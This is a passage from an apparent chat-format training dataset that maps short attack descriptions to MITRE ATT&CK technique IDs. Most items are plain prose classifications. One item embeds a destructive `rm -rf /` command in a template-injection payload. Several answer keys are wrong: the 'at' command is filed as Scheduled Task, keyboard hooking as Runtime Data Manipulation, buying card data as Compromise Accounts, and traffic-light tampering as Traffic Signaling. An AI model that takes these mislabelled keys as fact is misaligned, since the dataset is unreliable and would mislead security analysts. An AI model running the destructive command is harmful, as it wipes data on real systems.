                "content": "An attacker employs DNS queries to dynamically calculate and resolve domain names that point to its command and control infrastructure, avoiding static indicators."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use Outlook's inbox rule feature to automatically send incoming mail to an off‑network address for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers executed \"launchctl load\" on a crafted plist file to persist their credential dumping tool on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Script placed in /etc/systemd/system/malicious.service with Type=oneshot and ExecStart=/tmp/malware.sh, then enabled."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors infiltrate a Docker Swarm cluster and add a rogue service that runs a container designed to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor abuses an over‑privileged service principal to add a new account to the tenant."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set employs a custom script that reads the LSA Secrets from the registry to harvest service passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploited a vulnerable dependency in a supply chain, inserting a malicious payload into the package that was later imported by many downstream projects."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware was distributed as a PE file that was obfuscated using a runtime packing tool to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors accessed improperly secured AWS S3 buckets to harvest sensitive files and later exfiltrated the data to their command server."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a DNS over HTTPS (DoH) request to resolve the C2 host, bypassing local DNS monitoring."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary manipulates the Windows Registry to hide autorun entries from standard inspection tools."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code calls NtQuerySystemInformation with SystemModuleInformation to list kernel modules."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker supplies a payload containing {{#with \"`rm -rf /`\"}} to a Mustache template, causing the server to run destructive commands."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses the Netsh helper DLL mechanism to achieve persistence by loading a payload each time netsh is invoked."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses infected external hard drives to propagate ransomware across air‑gapped networks."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the 'schtasks' command to create a new scheduled task that runs an embedded executable."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actor uses a custom utility to locate and copy Apple Mail mailboxes from the user's Library folder."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a vulnerable sub‑domain takeover to host defacement content that appeared on the main site."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor encodes its C2 communication within apparently normal SNMP GET requests, making the traffic appear as routine network management."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor modifies /etc/cron.d/ to add a line that launches a hidden downloader every 5 minutes, allowing continuous data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries public passive DNS repositories to discover historical IP address mappings for victim domains."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s malware resolves a list of 1,000 domains that were generated by a seed derived from the device’s hardware ID."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses WMI Event Subscription to launch a command when a specific event occurs."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The weaponized document was saved as 'budget.xls.scr' to masquerade as a spreadsheet but execute a script."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromised the DNS server by exploiting an unauthenticated API endpoint to upload malicious configuration files."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages PowerShell to execute '[System.Security.Principal.WindowsIdentity]::GetCurrent().Name' and capture the current user name."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary delivers an encrypted payload via a network share and uses a native OS utility to decrypt and run it directly in RAM, avoiding file creation."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Analysts discovered a malicious script that uses \"rundll32.exe\" to load a credential dumping library targeting LSASS."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script queries Azure AD Graph API to enumerate Azure AD groups and their members."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script accesses the Windows Registry's EventLog keys to enumerate configured logging sources."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages dynamic DNS calculation to resolve domains that are never hard‑coded in its code."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion group tampers with the anti-virus update mechanism, preventing alert generation for newly discovered threats."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious plug-in added to the mail transport service on a Windows Server to capture credentials."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker changed the permissions on a Windows service's executable file, allowing a low‑privileged user to replace the binary with malicious code that runs with SYSTEM rights."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uploads a phishing kit containing a malicious payload to a compromised web host for distribution to targets."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code uses a proprietary binary-to-text encoding scheme to hide exfiltrated logs."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script uses the built‑in Windows tool reg save to copy the NTDS.dit from the system volume for credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary manipulates the email client to set up a rule that automatically forwards all incoming mail to a hidden mailbox."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses Mimikatz to dump credentials from the Windows LSASS process memory."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers insert a backdoor into a function-as-a-service runtime, enabling covert data collection."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker reads the \"/etc/hosts\" file inside a container to discover other services and containers on the same host."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors purchase compromised credit card data to fund ransomware operations."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a legacy SMB service by sending crafted packets that cause buffer overrun, crashing the service and denying endpoint access."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a link that, when clicked, forces the victim's browser to open a credential dialog, compelling the user to enter their credentials."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker harvests email addresses by scanning public LinkedIn profiles and extracting the contact information listed."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor injects code into the init.d scripts on a Unix host to execute malicious commands on boot."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a legitimate admin tool to query and export mailbox items from Azure AD."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant monitors calls to the Windows Credential Manager API, logging every password retrieval request."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged the Windows API function CreateRemoteThreadEx to inject malicious code into a running browser process, bypassing security controls."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage password spraying by applying a small set of plausible passwords to a broad list of usernames to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A nation‑state actor leverages a zero‑day vulnerability in smart traffic light firmware to remotely toggle signals, creating chaos as a diversion tactic."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary accesses the clipboard history buffer to retrieve previously copied sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider copies OAuth refresh tokens from a compromised application and uses them to generate new access tokens to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor gains unauthorized access to a VPS and uses it to execute credential‑stealing scripts."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a privileged service, the attacker reads the SAM file to dump local account passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom backdoor creates an HTTPS-based encrypted channel for C2 communications, hiding malicious payloads within legitimate traffic."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a legit cloud storage service, uploading exfiltrated documents via REST API calls."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the NAT-PMP (Network Address Translation Port Mapping Protocol) to programmatically open ports on the victim’s gateway, allowing remote control of internal services."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware queried the Office 365 configuration endpoint to collect tenant settings and policies."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fileless attack runs a PowerShell command through the Windows Event Viewer trigger to execute a payload."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant monitors for active mouse movements or keystrokes and only runs its payload if user interaction is detected, to avoid analysis in automated sandboxes."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised service desk portal, the threat actor extracts ticket data that includes the requester's job function, helping to map out organizational roles."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a shared library onto the victim's system and then modifies the PATH environment variable to ensure the library is loaded by trusted applications."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious LSASS driver is configured to start with the OS, ensuring the attacker maintains foothold on the system."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers query search engines for the target's brand name combined with filetype:pdf to locate sensitive documents exposed online."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor base64‑encodes stolen files, then substitutes each character according to a secret lookup table, resulting in a non‑standard encoded string sent over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a new Windows service called \"Updater\" with a malicious binary path, allowing the payload to run with SYSTEM privileges each time the service starts."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used the regsvr32 binary to run a malicious PowerShell script via a COM scriptlet, evading detection."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed a COM object in a Microsoft Excel add‑in that runs at startup to download additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used \"wmic process call create \\\"cmd.exe /c ...\\\"\" to spawn a command shell on the remote system."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Windows 'at' command, the threat actor schedules a command to run with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing email appears to come from the network admin, instructing users to enable a new VPN client, which is a malicious installer."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvests unencrypted SSH private keys from user home directories and uses them to authenticate to remote systems."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leveraged the Confluence REST API to enumerate and download internal documentation pages, extracting project plans and credentials."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Injects code via SetWindowsHookEx to intercept and modify keyboard input for credential harvesting during a session."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
